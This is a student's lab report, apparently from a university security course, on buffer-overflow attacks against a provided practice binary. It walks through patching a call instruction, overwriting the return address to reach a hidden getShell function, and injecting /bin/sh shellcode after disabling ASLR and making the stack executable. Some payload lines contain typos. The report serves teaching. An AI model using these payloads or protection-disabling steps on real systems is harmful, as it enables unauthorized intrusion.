20222311 2024-2025-1 《網路與系統攻防技術》實驗一實驗報告

Petrichor666發表於2024-10-11

20222311 2024-2025-1 《網路與系統攻防技術》實驗一實驗報告

1.實驗內容
本次實驗主要內容為 BOF 注入攻擊,任務如下:

  • 掌握反彙編及其指令

  • 修改程式的機器指令,從而實現 BOF 注入攻擊

  • 注入一段 Shellcode,以實現 BOF 注入攻擊

2.實驗過程
任務 1:修改可執行檔案機器指令,改變程式執行流程
(一)把pwn1檔案改名為pwn20222311,下載目標檔案pwn20222311反彙編。



(二)接著使用 vi 工具(vi pwn20222311)進入該檔案進行修改,如下:

(三)以下操作是在vi內
1.按ESC鍵
2.輸入如下,將顯示模式切換為16進位制模式
:%!xxd
3.查詢要修改的內容
/e8d7
4.找到後前後的內容和反彙編的對比下,確認是地方是正確的
5.修改d7為c3
6.轉換16進製為原格式
:%!xxd -r
7.存檔退出vi
:wq





8.再反彙編看一下,call指令是否正確呼叫getShell
root@KaliYL:~# objdump -d pwn20222311 | more
9.執行下改後的程式碼,會得到shell提示符#

任務 2:透過 BOF 注入攻擊,實現改變程式執行流程
(一)安裝gdb,使用sudo apt update和sudo apt install gdb命令安裝gdb

(二)安裝完成後對pwn20222311-2進行gdb除錯,輸入1111111122222222333333334444444455555555時可以看到eip的值0x35353535,也就是5555的ASCII碼。
輸入命令 info r檢視暫存器eip的值,確認輸入字串哪幾個字元會覆蓋到返回地址。


(三)把1234換成getShell的地址0x0804847d,我們需要輸入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input20222311
生成一個包含這些16進位制內容的檔案(\x0a表示回車);

使用16進位制檢視指令xxd input20222311檢視input檔案的內容

確認無誤後使用(cat input20222311;cat) | ./pwn20222311-2將input中的字串作為可執行檔案的輸入。

成功獲取shell,即成功呼叫了getShell函式。
任務 3:透過 BOF 注入攻擊,注入 Shellcode 並執行。
(1)首先需要在學習通平臺下載資源,解壓後將資料夾傳輸到虛擬機器中;然後,依次輸入以下命令
①sudo apt-get install libelf-dev

②./configure

③make

④sudo make install

完成execstack的安裝
(二)透過以下命令修改設定
1.execstack -s pwn20222311-5設定堆疊可執行
2.execstack -q pwn20222311-5 查詢檔案的堆疊是否可執行
3.more /proc/sys/kernel/randomize_va_space 檢視地址隨機化的狀態
4.echo "0" > /proc/sys/kernel/randomize_va_space 關閉地址隨機化
5.more /proc/sys/kernel/randomize_va_space

(三)構造要使用的payload。Linux下有兩種基本構造攻擊buf的方法:

  • retaddr+nop+shellcode
  • nop+shellcode+retaddr

使用以下命令進行構造shellcode的輸入(x1x2x3x4是用來佔位的,後續將替換為注入shellcode的地址,也就是foo函式中return address的位置,這個地址需要我們接下來去gdb分析尋找),並將其放入名為input_shellcode的檔案中:
Perl -e print'"\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
輸入命令(cat input_shellcode; cat) | ./pwn20222311-5將input_shellcode的輸入內容作為pwn20222311-5的輸入

(四)新開啟一個新終端,輸入ps -ef | grep pwn20222311-5,檢視pwn20222311-5檔案的程序以及程序號。

可以看到,程序號分別為5875和6104。
此後,再在這個新終端中使用gdb對pwn20222311-5進行除錯,來獲取foo函式中returnaddress的位置。
輸入命令attach 5875,輸入剛剛查詢的程序號

輸入命令disassemble foo,反編譯foo函式並進行分析

可以看到,ret的地址為0x080484ae,因此,在這裡設定斷點,繼續分析
輸入命令break *0x080484ae

在另外一個終端中按下回車

在新終端輸入c,c表示continue繼續執行

輸入info r esp檢視棧頂指標所在位置,如下圖可知棧頂指標所在的位置為0xffffd37c;

棧頂指標地址再加4位元組,就是shellcode應該處於的地址,即0xffffcfac+4=0xffffd380。
現在可以進行shellcode的注入,最終獲取shell。將0x04030201換成上述我們計算出來的位置0xffffd380,且用機器儲存的方式,顛倒一下,重新進行輸入。在原終端中輸入
perl -e print'"\80\d3\ff\ff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
然後再輸入(cat input_shellcode; cat) | ./pwn20222311-5,將input_shellcode的輸入內容作為pwn20222317-5的輸入。

3.問題及解決方案

  • 問題 1:在進行任務 1 時,查詢十六進位制文字時,按照指導書使用“/e8d3”無法查詢到相應內容。
    解決方案:查詢“d3ff”就能查到該內容。
  • 問題2:一開始輸入./configure報錯

    解決方案:使用命令cd prelink轉換目錄
  • 問題3:一開始沒有把下載好的prelink移到虛擬機器的桌面
    解決方案,把prelink移到桌面後得以解決
  • 問題4:在輸入perl -e 'print "A" x 32;print' "\x80\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode程式碼時出現了錯誤
    解決方案:仔細檢查程式碼後發現少了一個引號,補充完整後正常執行。

4.學習感悟、思考等

在實驗中,我首先分析了pwn程式的執行流程,瞭解到程式的main函式會呼叫foo函式,而foo函式會回顯使用者輸入的字串。這個簡單的功能背後隱藏著一個秘密:一個名為getShell的程式碼片段,它能夠返回一個Shell,但在正常情況下不會被執行。透過這次實踐,我學習了兩種方法來觸發getShell函式的執行。第一種方法是透過緩衝區溢位攻擊,透過精心構造的輸入覆蓋程式的控制流,使得程式跳轉到getShell函式的地址上執行。第二種方法涉及到了對程式二進位制檔案的修改,透過直接修改程式的控制流來實現對getShell函式的呼叫。在這個過程中,我深刻體會到了逆向工程的魅力。透過分析程式的二進位制程式碼,我能夠理解程式的工作原理,並且找到了操縱程式執行流程的方法。這不僅僅是技術上的挑戰,更是對邏輯思維和耐心的考驗。此外,我還學習瞭如何注入並執行任意的Shellcode。這讓我意識到了系統安全的重要性,以及攻擊者可能利用的漏洞。透過這次實驗,我更加明白了作為一名網路空間安全專業的學生,我需要不斷學習新的安全技術和防禦措施,以保護我們的系統不受攻擊。

相關文章